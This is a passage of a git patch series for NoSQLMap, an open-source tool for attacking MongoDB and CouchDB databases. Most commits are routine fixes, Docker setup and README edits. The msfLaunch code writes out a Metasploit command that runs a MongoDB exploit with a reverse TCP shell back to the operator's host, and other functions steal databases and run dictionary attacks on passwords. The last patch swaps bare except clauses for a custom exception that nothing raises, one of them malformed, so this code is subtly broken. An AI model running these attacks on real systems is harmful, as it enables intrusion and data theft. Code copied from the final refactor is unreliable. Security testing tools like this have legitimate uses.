         # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
@@ -747,8 +752,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
             else:
                 savePath = args.savePath
             save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack)
-
-    raw_input("Press enter to continue...")
+    if args == None:
+        raw_input("Press enter to continue...")
     return()
 
 

From 4aebe343c27593972b571ca74c7b94c38dba3284 Mon Sep 17 00:00:00 2001
From: CaptainFreak <patelshoeb4@gmail.com>
Date: Sat, 13 Oct 2018 10:05:35 +0530
Subject: [PATCH 46/68] Fixed bugs in choosing payload length and format

---
 nsmweb.py | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/nsmweb.py b/nsmweb.py
index b2c649b..554f699 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -125,7 +125,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
         else:
             injectSize = int(args.injectSize)
             format = args.injectFormat
-            
+
+        injectSize = int(injectSize)
         injectString = build_random_string(format, injectSize)
 
         print "Using " + injectString + " for injection testing.\n"
@@ -869,13 +870,13 @@ def randInjString(size):
     print "2-Letters only"
     print "3-Numbers only"
     print "4-Email address"
-    format = True
 
-    while format:
+    while True:
         format = raw_input("Select an option: ")
         if format not in ["1", "2", "3", "4"]:
-            format = True
             print "Invalid selection."
+        else:
+            break
     return format
 
 def build_random_string(format, size):

From 3db58aedc82ab9ed2e93a464c300f341f79ab7cc Mon Sep 17 00:00:00 2001
From: tripleee <tripleee@users.noreply.github.com>
Date: Tue, 30 Oct 2018 10:23:52 +0200
Subject: [PATCH 47/68] Avoid shell=True in subprocess.call()

The code doesn't need the shell for anything so this should be more efficient, as well as potentially more secure, and hopefully instructive for readers of the code.

See also https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess
---
 nsmmongo.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nsmmongo.py b/nsmmongo.py
index c01e410..ee61e02 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -338,7 +338,7 @@ def enumDbs (mongoConn):
 
 def msfLaunch():
     try:
-        proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
+        proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"])
 
     except:
         print "Something went wrong.  Make sure Metasploit is installed and path is set, and all options are defined."

From d521e671f712d884fa8b3b592b592cba3eaf877f Mon Sep 17 00:00:00 2001
From: Steve Campbell <sdcampbell68@live.com>
Date: Thu, 7 Feb 2019 16:08:31 -0500
Subject: [PATCH 48/68] Added Docker files.

---
 docker/Dockerfile    | 15 +++++++++++++++
 docker/entrypoint.sh |  2 ++
 2 files changed, 17 insertions(+)
 create mode 100644 docker/Dockerfile
 create mode 100644 docker/entrypoint.sh

diff --git a/docker/Dockerfile b/docker/Dockerfile
new file mode 100644
index 0000000..3882f3d
--- /dev/null
+++ b/docker/Dockerfile
@@ -0,0 +1,15 @@
+FROM ubuntu:latest
+
+RUN apt-get update && apt-get install -y python python-pip git mongodb
+
+RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap
+
+WORKDIR /root/NoSqlMap
+
+RUN python setup.py install
+
+COPY entrypoint.sh /tmp/entrypoint.sh
+
+RUN chmod +x /tmp/entrypoint.sh
+
+ENTRYPOINT ["/tmp/entrypoint.sh"]
diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh
new file mode 100644
index 0000000..f424d72
--- /dev/null
+++ b/docker/entrypoint.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+exec python nosqlmap.py

From 69c7e7cd4414fc94a16c57b624c186d96b8ccbfe Mon Sep 17 00:00:00 2001
From: Steve Campbell <sdcampbell68@live.com>
Date: Thu, 7 Feb 2019 16:14:17 -0500
Subject: [PATCH 49/68] Updated README for Docker

---
 README.md | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index c3c5174..82e79d2 100644
--- a/README.md
+++ b/README.md
@@ -39,7 +39,10 @@ There are some various other libraries required that a normal Python installatio
 ```
 python setup.py install
 ```
-
+Alternatively you can build a Docker image by changing to the docker directory and entering:
+```
+docker build -t nosqlmap .
+```
 ## Usage Instructions
 Start with
 ```

From 9a792221dc112d1069d94ac9c4c175811538d12c Mon Sep 17 00:00:00 2001
From: alexdetrano <alexdetrano@gmail.com>
Date: Mon, 6 May 2019 14:12:01 -0400
Subject: [PATCH 50/68] fixed injectSize type error for Post attacks

---
 nsmweb.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nsmweb.py b/nsmweb.py
index 554f699..e2fcc77 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -483,6 +483,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None)
             injectSize = int(args.injectSize)
             format = args.injectFormat
 
+        injectSize = int(injectSize)
         injectString = build_random_string(format, injectSize)
                 
         print "Using " + injectString + " for injection testing.\n"

From de427caa8c93d2512e3dcd99b3771adc48e3ed30 Mon Sep 17 00:00:00 2001
From: alexdetrano <alexdetrano@gmail.com>
Date: Mon, 6 May 2019 14:24:24 -0400
Subject: [PATCH 51/68] remove trailing newlines and carriage return from
 parsed burp file

---
 nosqlmap.py | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 4d1b733..8af85f0 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -473,9 +473,11 @@ def options():
                 header = line.split(": ");
                 requestHeaders[header[0]] = header[1].strip()
 
-            victim = reqData[1].split( " ")[1].replace("\r\n","")
+            victim = reqData[1].split( " ")[1].replace("\r","")
+            victim = victim.replace("\n","")
             optionSet[0] = True
-            uri = methodPath[1].replace("\r\n","")
+            uri = methodPath[1].replace("\r","")
+            uri = uri.replace("\n","")
             optionSet[2] = True
 
         elif select == "b":

From a86d2309ee997803d847d57318c718cc2b74269d Mon Sep 17 00:00:00 2001
From: alexdetrano <alexdetrano@gmail.com>
Date: Mon, 6 May 2019 15:14:21 -0400
Subject: [PATCH 52/68] remove ALL trailing newlines/CRs as soon as possible
 from parsed file. Also use 'with' to open files, to ensure file is
 automatically closed

---
 nosqlmap.py | 96 +++++++++++++++++++++++++++--------------------------
 1 file changed, 49 insertions(+), 47 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 8af85f0..1ae2e63 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -400,46 +400,51 @@ def options():
 
         elif select == "0":
             loadPath = raw_input("Enter file name to load: ")
+            cvsOpt = []
             try:
-                fo = open(loadPath,"r" )
-                csvOpt = fo.readlines()
-                fo.close()
-                optList = csvOpt[0].split(",")
-                victim = optList[0]
-                webPort = optList[1]
-                uri = optList[2]
-                httpMethod = optList[3]
-                myIP = optList[4]
-                myPort = optList[5]
-                verb = optList[6]
-                https = optList[7]
+                with open(loadPath,"r") as fo:
+                    for line in fo:
+                        cvsOpt.append(line.rstrip())
+            except IOError as e:
+                print "I/O error({0}): {1}".format(e.errno, e.strerror)
+                raw_input("error reading file.  Press enter to continue...")
+                return
+
+            optList = csvOpt[0].split(",")
+            victim = optList[0]
+            webPort = optList[1]
+            uri = optList[2]
+            httpMethod = optList[3]
+            myIP = optList[4]
+            myPort = optList[5]
+            verb = optList[6]
+            https = optList[7]
+            
+            # saved headers position will depend of the request verb
+            headersPos= 1
+
+            if httpMethod == "POST":
+                postData = ast.literal_eval(csvOpt[1])
+                headersPos = 2
                 
-                # saved headers position will depend of the request verb
-                headersPos= 1
-
-                if httpMethod == "POST":
-                    postData = ast.literal_eval(csvOpt[1])
-                    headersPos = 2
-                    
-                requestHeaders = ast.literal_eval(csvOpt[headersPos])
-
-                # Set option checking array based on what was loaded
-                x = 0
-                for item in optList:
-                    if item != "Not Set":
-                        optionSet[x] = True
-                    x += 1
-            except:
-                print "Couldn't load options file!"
+            requestHeaders = ast.literal_eval(csvOpt[headersPos])
+
+            # Set option checking array based on what was loaded
+            x = 0
+            for item in optList:
+                if item != "Not Set":
+                    optionSet[x] = True
+                x += 1
 
         elif select == "a":
             loadPath = raw_input("Enter path to Burp request file: ")
-
+            reqData = []
             try:
-                fo = open(loadPath,"r")
-                reqData = fo.readlines()
-
-            except:
+                with open(loadPath,"r") as fo:
+                    for line in fo:
+                        reqData.append(line.rstrip())
+            except IOError as e:
+                print "I/O error({0}): {1}".format(e.errno, e.strerror)
                 raw_input("error reading file.  Press enter to continue...")
                 return
 
@@ -473,25 +478,22 @@ def options():
                 header = line.split(": ");
                 requestHeaders[header[0]] = header[1].strip()
 
-            victim = reqData[1].split( " ")[1].replace("\r","")
-            victim = victim.replace("\n","")
+            victim = reqData[1].split( " ")[1]
             optionSet[0] = True
-            uri = methodPath[1].replace("\r","")
-            uri = uri.replace("\n","")
+            uri = methodPath[1]
             optionSet[2] = True
 
         elif select == "b":
             savePath = raw_input("Enter file name to save: ")
             try:
-                fo = open(savePath, "wb")
-                fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https)
-
-                if httpMethod == "POST":
-                    fo.write(",\n"+ str(postData))
-                fo.write(",\n" + str(requestHeaders) )
-                fo.close()
-                print "Options file saved!"
-            except:
+                with open(savePath, "wb") as fo:
+                    fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https)
+
+                    if httpMethod == "POST":
+                        fo.write(",\n"+ str(postData))
+                    fo.write(",\n" + str(requestHeaders) )
+                    print "Options file saved!"
+            except IOError:
                 print "Couldn't save options file."
 
         elif select == "h":

From 77a91f9e03f569db469549ee196dc95664c3ddb9 Mon Sep 17 00:00:00 2001
From: kaixiang ren <kaixiangren@kaixiangs-MacBook-Pro.local>
Date: Sun, 26 May 2019 18:09:29 +1000
Subject: [PATCH 53/68] fixed bug postData undefined related issue #83, #84

---
 nosqlmap.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 1ae2e63..33e78d2 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -137,7 +137,7 @@ def build_post_data(postDataIn):
     return postData
 
 def attack(args):
-    platform = args.platform 
+    platform = args.platform
     victim = args.victim
     webPort = args.webPort
     dbPort = args.dbPort
@@ -149,7 +149,7 @@ def attack(args):
     httpMethod = args.httpMethod
     requestHeaders = build_request_headers(args.requestHeaders)
     postData = build_post_data(args.postData)
-    
+
     if args.attack == 1:
         if platform == "MongoDB":
             nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args)
@@ -337,7 +337,7 @@ def options():
                     print "POST request set"
                     optionSet[3] = True
                     postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n")
-                    build_post_data(postDataIn)
+                    postData = build_post_data(postDataIn)
                     httpMethod = "POST"
 
                 else:
@@ -419,14 +419,14 @@ def options():
             myPort = optList[5]
             verb = optList[6]
             https = optList[7]
-            
+
             # saved headers position will depend of the request verb
             headersPos= 1
 
             if httpMethod == "POST":
                 postData = ast.literal_eval(csvOpt[1])
                 headersPos = 2
-                
+
             requestHeaders = ast.literal_eval(csvOpt[headersPos])
 
             # Set option checking array based on what was loaded
@@ -512,7 +512,7 @@ def build_parser():
     parser.add_argument("--myIP",help="Set my local platform/Shell IP")
     parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int)
     parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int)
-    parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") 
+    parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]")
     parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET")
     parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF")
     parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF")
@@ -524,7 +524,7 @@ def build_parser():
         group = parser.add_argument_group(module.__name__)
         for arg in module.args():
             group.add_argument(arg[0], help=arg[1])
-    
+
     return parser
 
 def signal_handler(signal, frame):

From 3c7895ded3eefc3396c7db12063e1994ae4b8fab Mon Sep 17 00:00:00 2001
From: Gabriel Barbosa <37980500+gabu-b@users.noreply.github.com>
Date: Wed, 29 May 2019 17:38:14 -0300
Subject: [PATCH 54/68] Update Set App Path Module to Accept Null Values

---
 nosqlmap.py | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 33e78d2..9ddd8bb 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -296,10 +296,15 @@ def options():
 
         elif select == "3":
             uri = raw_input("Enter URI Path (Press enter for no URI): ")
-            #Ensuring the URI path always starts with / and causes less errors
-            if uri[0] != "/":
+            #Ensuring the URI path always starts with / and accepts null values
+            if len(uri) == 0:
+                uri = "Not Set"
+                print "\nURI Not Set." "\n"
+                optionSet[2] = False
+
+            elif uri[0] != "/":
                 uri = "/" + uri
-            print "\nURI Path set to " + uri + "\n"
+                print "\nURI Path set to " + uri + "\n"
             optionSet[2] = True
 
         elif select == "4":

From 73a45349e4ab593fb7b7808d066ee77ce88c87da Mon Sep 17 00:00:00 2001
From: Michael Skelton <886344+codingo@users.noreply.github.com>
Date: Mon, 8 Jul 2019 17:34:47 +1000
Subject: [PATCH 55/68] Create FUNDING.yml

---
 .github/FUNDING.yml | 12 ++++++++++++
 1 file changed, 12 insertions(+)
 create mode 100644 .github/FUNDING.yml

diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 0000000..33a48a1
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1,12 @@
+# These are supported funding model platforms
+
+github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
+patreon: # Replace with a single Patreon username
+open_collective: # Replace with a single Open Collective username
+ko_fi: # Replace with a single Ko-fi username
+tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
+community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
+liberapay: # Replace with a single Liberapay username
+issuehunt: # Replace with a single IssueHunt username
+otechie: # Replace with a single Otechie username
+custom: PayPal.Me/codingo

From 1ccd177b3e0be4aba1cb547b9d4cfd803f8d0f08 Mon Sep 17 00:00:00 2001
From: Michael Skelton <886344+codingo@users.noreply.github.com>
Date: Tue, 9 Jul 2019 12:50:36 +1000
Subject: [PATCH 56/68] Update setup.py

---
 setup.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.py b/setup.py
index 27de04e..aab887a 100644
--- a/setup.py
+++ b/setup.py
@@ -16,7 +16,7 @@
 			
 			install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\
 								 "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\
-								 "requests==2.5.0"],
+								 "requests==2.20.0"],
 	
 			author = "tcstool",
 			author_email = "codingo@protonmail.com",

From 049de70ab3478a2530778062586f27e9ae873f49 Mon Sep 17 00:00:00 2001
From: Anton Bolshakov <blshkv@users.noreply.github.com>
Date: Tue, 13 Aug 2019 11:01:19 +0800
Subject: [PATCH 57/68] nosqlmap.py: invalid header

"coding" should come in the second line, see:
https://www.python.org/dev/peps/pep-0263/
---
 nosqlmap.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 9ddd8bb..c0db07d 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -1,5 +1,5 @@
-# -*- coding: utf-8 -*-
 #!/usr/bin/python
+# -*- coding: utf-8 -*-
 # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
 # See the file 'doc/COPYING' for copying permission
 

From a86e08b48a550ccacb8effa6c400af780c821832 Mon Sep 17 00:00:00 2001
From: August <augustd@codemagi.com>
Date: Wed, 6 Nov 2019 17:54:08 -0800
Subject: [PATCH 58/68] Set request headers

Fixes #88
---
 nosqlmap.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index c0db07d..6640c0b 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -503,7 +503,7 @@ def options():
 
         elif select == "h":
             reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n")
-            build_request_headers(reqHeadersIn)
+            requestHeaders = build_request_headers(reqHeadersIn)
 
         elif select == "x":
             return

From 4ebd59a536930e53a0e07215123ed570c42fcd80 Mon Sep 17 00:00:00 2001
From: Kevin <kevin@localhost.localdomain>
Date: Fri, 8 Nov 2019 01:18:32 +0200
Subject: [PATCH 59/68] Fixed loading options from file

---
 nosqlmap.py       | 4 ++--
 saved_options.txt | 3 +++
 2 files changed, 5 insertions(+), 2 deletions(-)
 create mode 100644 saved_options.txt

diff --git a/nosqlmap.py b/nosqlmap.py
index c0db07d..af22e55 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -405,11 +405,11 @@ def options():
 
         elif select == "0":
             loadPath = raw_input("Enter file name to load: ")
-            cvsOpt = []
+            csvOpt = []
             try:
                 with open(loadPath,"r") as fo:
                     for line in fo:
-                        cvsOpt.append(line.rstrip())
+                        csvOpt.append(line.rstrip())
             except IOError as e:
                 print "I/O error({0}): {1}".format(e.errno, e.strerror)
                 raw_input("error reading file.  Press enter to continue...")
diff --git a/saved_options.txt b/saved_options.txt
new file mode 100644
index 0000000..ced64ac
--- /dev/null
+++ b/saved_options.txt
@@ -0,0 +1,3 @@
+10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON,
+{'CompanyName': 'test'},
+{}
\ No newline at end of file

From 9ba34ece84db12230d1b371ebd507013052f33cd Mon Sep 17 00:00:00 2001
From: Kevin Schmidt <kevinschmidt_113@hotmail.com>
Date: Fri, 8 Nov 2019 01:27:43 +0200
Subject: [PATCH 60/68] Delete saved_options.txt

---
 saved_options.txt | 3 ---
 1 file changed, 3 deletions(-)
 delete mode 100644 saved_options.txt

diff --git a/saved_options.txt b/saved_options.txt
deleted file mode 100644
index ced64ac..0000000
--- a/saved_options.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON,
-{'CompanyName': 'test'},
-{}
\ No newline at end of file

From 04758345da18dce7d9db4f843fbee6d4ec19c467 Mon Sep 17 00:00:00 2001
From: Hubert Dryja <hubert.dryja@lingarogroup.com>
Date: Wed, 22 Jan 2020 10:21:27 +0100
Subject: [PATCH 61/68] added docker-compose, switched from ubuntu to alpine,
 entrypoint working

---
 docker/Dockerfile         | 7 ++++---
 docker/docker-compose.yml | 6 ++++++
 docker/entrypoint.sh      | 4 ++--
 3 files changed, 12 insertions(+), 5 deletions(-)
 create mode 100644 docker/docker-compose.yml

diff --git a/docker/Dockerfile b/docker/Dockerfile
index 3882f3d..511d0a8 100644
--- a/docker/Dockerfile
+++ b/docker/Dockerfile
@@ -1,6 +1,8 @@
-FROM ubuntu:latest
+FROM python:2.7-alpine
 
-RUN apt-get update && apt-get install -y python python-pip git mongodb
+RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositories
+RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories
+RUN apk update && apk add mongodb git
 
 RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap
 
@@ -9,7 +11,6 @@ WORKDIR /root/NoSqlMap
 RUN python setup.py install
 
 COPY entrypoint.sh /tmp/entrypoint.sh
-
 RUN chmod +x /tmp/entrypoint.sh
 
 ENTRYPOINT ["/tmp/entrypoint.sh"]
diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml
new file mode 100644
index 0000000..dc505f6
--- /dev/null
+++ b/docker/docker-compose.yml
@@ -0,0 +1,6 @@
+version: "3"
+services:
+  nosqlmap:
+    image: nosqlmap:latest
+    build:
+      context: .
diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh
index f424d72..eb9b8b4 100644
--- a/docker/entrypoint.sh
+++ b/docker/entrypoint.sh
@@ -1,2 +1,2 @@
-#!/bin/bash
-exec python nosqlmap.py
+#!/bin/ash
+python nosqlmap.py

From 6a9acf44005e223cd843f69f84cca7f4ae044728 Mon Sep 17 00:00:00 2001
From: Hubert Dryja <hubert.dryja@lingarogroup.com>
Date: Wed, 22 Jan 2020 10:25:08 +0100
Subject: [PATCH 62/68] readme updated

---
 README.md | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/README.md b/README.md
index 82e79d2..6841632 100644
--- a/README.md
+++ b/README.md
@@ -43,6 +43,12 @@ Alternatively you can build a Docker image by changing to the docker directory a
 ```
 docker build -t nosqlmap .
 ```
+
+or you can use Docker-compose to run Nosqlmap:
+```
+docker-compose build
+docker-compose run nosqlmap
+```
 ## Usage Instructions
 Start with
 ```

From e0bf5a45cb007d7cb82f4a0d67851964718031df Mon Sep 17 00:00:00 2001
From: Ben <beale.ben@gmail.com>
Date: Wed, 8 Apr 2020 18:41:10 -0400
Subject: [PATCH 63/68] Added base exception class NoSQLMapException inside
 exception.py.

---
 exception.py |  6 ++++++
 nosqlmap.py  |  3 ++-
 nsmcouch.py  | 21 +++++++++++----------
 nsmmongo.py  | 29 +++++++++++++++--------------
 nsmscan.py   |  7 ++++---
 nsmweb.py    | 11 ++++++-----
 6 files changed, 44 insertions(+), 33 deletions(-)
 create mode 100644 exception.py

diff --git a/exception.py b/exception.py
new file mode 100644
index 0000000..72659c8
--- /dev/null
+++ b/exception.py
@@ -0,0 +1,6 @@
+#!/usr/bin/python
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
+class NoSQLMapException(Exception):
+    pass
diff --git a/nosqlmap.py b/nosqlmap.py
index 0f70ab4..1aac75d 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -3,6 +3,7 @@
 # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
 # See the file 'doc/COPYING' for copying permission
 
+from exception import NoSQLMapException
 import sys
 import nsmcouch
 import nsmmongo
@@ -279,7 +280,7 @@ def options():
                                 print "Bad octet in IP address."
                                 goodDigits = False
 
-                        except:
+                        except NoSQLMapException("[!] Must be a DNS name."):
                             #Must be a DNS name (for now)
 
                             notDNS = False
diff --git a/nsmcouch.py b/nsmcouch.py
index f2d344b..33bbe62 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -2,6 +2,7 @@
 # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
 # See the file 'doc/COPYING' for copying permission
 
+from exception import NoSQLMapException
 import couchdb
 import urllib
 import requests
@@ -39,10 +40,10 @@ def couchScan(target,port,pingIt):
                 except couchdb.http.Unauthorized:
                     return [1,None]
 
-                except:
+                except NoSQLMapException:
                     return [2,None]
 
-            except:
+            except NoSQLMapException:
                 return [3,None]
 
         else:
@@ -59,10 +60,10 @@ def couchScan(target,port,pingIt):
             except couchdb.http.Unauthorized:
                 return [1,None]
 
-            except:
+            except NoSQLMapException:
                 return [2,None]
 
-        except:
+        except NoSQLMapException:
             return [3,None]
 
 def netAttacks(target,port, myIP, args = None):
@@ -92,7 +93,7 @@ def netAttacks(target,port, myIP, args = None):
                 print "CouchDB authenticated on " + target + ":" + str(port)
                 mgtOpen = True
 
-            except:
+            except NoSQLMapException:
                 raw_input("Failed to authenticate.  Press enter to continue...")
                 return
 
@@ -113,7 +114,7 @@ def netAttacks(target,port, myIP, args = None):
         if mgtRespCode == 200:
             print "Sofa web management open at " + mgtUrl + ".  No authentication required!"
 
-    except:
+    except NoSQLMapException:
         print "Sofa web management closed or requires authentication."
 
     if mgtOpen == True:
@@ -152,7 +153,7 @@ def getPlatInfo(couchConn, target):
     return
 
 
-def enumAtt(conn,target):
+def enumAtt(conn, target, port):
     dbList = []
     print "Enumerating all attachments..."
 
@@ -179,7 +180,7 @@ def enumDbs (couchConn,target,port):
             print "\n".join(dbList)
             print "\n"
 
-    except:
+    except NoSQLMapException:
             print "Error:  Couldn't list databases.  The provided credentials may not have rights."
 
     if '_users' in dbList:
@@ -253,7 +254,7 @@ def stealDBs (myDB,couchConn,target,port):
         else:
             return
 
-    except:
+    except NoSQLMapException:
         raw_input ("Something went wrong.  Are you sure your CouchDB is running and options are set? Press enter to return...")
         return
 
@@ -343,7 +344,7 @@ def dict_pass(key,salt,dbVer):
                 passList = f.readlines()
                 loadCheck = True
 
-        except:
+        except NoSQLMapException:
             print " Couldn't load file."
 
     print "Running dictionary attack..."
diff --git a/nsmmongo.py b/nsmmongo.py
index ee61e02..996668a 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -2,6 +2,7 @@
 # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
 # See the file 'doc/COPYING' for copying permission
 
+from exception import NoSQLMapException
 import pymongo
 import urllib
 import json
@@ -49,7 +50,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None):
             conn = pymongo.MongoClient(target)
             print "MongoDB authenticated on " + target + ":27017!"
             mgtOpen = True
-        except:
+        except NoSQLMapException:
             raw_input("Failed to authenticate.  Press enter to continue...")
             return
 
@@ -91,7 +92,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None):
                 print "REST interface not enabled."
             print "\n"
 
-    except Exception, e:
+    except NoSQLMapException:
         print "MongoDB web management closed or requires authentication."
 
     if mgtOpen == True:
@@ -180,7 +181,7 @@ def stealDBs(myDB,victim,mongoConn):
         else:
             return
 
-    except Exception, e:
+    except NoSQLMapException, e:
         if str(e).find('text search not enabled') != -1:
             raw_input("Database copied, but text indexing was not enabled on the target.  Indexes not moved.  Press enter to return...")
             return
@@ -231,7 +232,7 @@ def dict_pass(user,key):
             with open (dictionary) as f:
                    passList = f.readlines()
             loadCheck = True
-        except:
+        except NoSQLMapException:
             print " Couldn't load file."
 
     print "Running dictionary attack..."
@@ -303,7 +304,7 @@ def enumDbs (mongoConn):
         print "\n".join(mongoConn.database_names())
         print "\n"
 
-    except:
+    except NoSQLMapException:
         print "Error:  Couldn't list databases.  The provided credentials may not have rights."
 
     print "List of collections:"
@@ -328,7 +329,7 @@ def enumDbs (mongoConn):
                     if crack in yes_tag:
                         passCrack(users[x]['user'],users[x]['pwd'])
 
-    except Exception, e:
+    except NoSQLMapException, e:
         print e
         print "Error:  Couldn't list collections.  The provided credentials may not have rights."
 
@@ -336,11 +337,11 @@ def enumDbs (mongoConn):
     return
 
 
-def msfLaunch():
+def msfLaunch(victim, myIP, myPort):
     try:
         proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"])
 
-    except:
+    except NoSQLMapException:
         print "Something went wrong.  Make sure Metasploit is installed and path is set, and all options are defined."
     raw_input("Press enter to continue...")
     return
@@ -357,10 +358,10 @@ def enumGrid (mongoConn):
                 print " list of files:"
                 print "\n".join(files)
 
-            except:
+            except NoSQLMapException:
                 print "GridFS not enabled on " + str(dbItem) + "."
 
-    except:
+    except NoSQLMapException:
         print "Error:  Couldn't enumerate GridFS.  The provided credentials may not have rights."
 
     return
@@ -381,7 +382,7 @@ def mongoScan(ip,port,pingIt):
                     conn.close()
                     return [0,dbVer]
 
-                except:
+                except NoSQLMapException:
                     if str(sys.exc_info()).find('need to login') != -1:
                         conn.close()
                         return [1,None]
@@ -390,7 +391,7 @@ def mongoScan(ip,port,pingIt):
                         conn.close()
                         return [2,None]
 
-            except:
+            except NoSQLMapException:
                 return [3,None]
 
         else:
@@ -405,7 +406,7 @@ def mongoScan(ip,port,pingIt):
                 conn.close()
                 return [0,dbVer]
 
-            except Exception, e:
+            except NoSQLMapException, e:
                 if str(e).find('need to login') != -1:
                     conn.close()
                     return [1,None]
@@ -414,5 +415,5 @@ def mongoScan(ip,port,pingIt):
                     conn.close()
                     return [2,None]
 
-        except:
+        except NoSQLMapException:
             return [3,None]
diff --git a/nsmscan.py b/nsmscan.py
index 06cb044..b292aad 100644
--- a/nsmscan.py
+++ b/nsmscan.py
@@ -3,6 +3,7 @@
 # See the file 'doc/COPYING' for copying permission
 
 
+from exception import NoSQLMapException
 import ipcalc
 import nsmmongo
 import nsmcouch
@@ -41,7 +42,7 @@ def massScan(platform, args = None):
                 for ip in ipcalc.Network(subnet):
                     ipList.append(str(ip))
                 optCheck = False
-            except:
+            except NoSQLMapException:
                 raw_input("Not a valid subnet.  Press enter to return to main menu.")
                 return
 
@@ -54,7 +55,7 @@ def massScan(platform, args = None):
                             ipList = f.readlines()
                     loadCheck = True
                     optCheck = False
-                except:
+                except NoSQLMapException:
                     print "Couldn't open file."
 
         if loadOpt == "3":
@@ -119,7 +120,7 @@ def massScan(platform, args = None):
                 print "Scan results saved!"
                 select = False
 
-            except:
+            except NoSQLMapException:
                 print "Couldn't save scan results."
 
         elif saveEm in no_tag:
diff --git a/nsmweb.py b/nsmweb.py
index e2fcc77..0b5a8f9 100644
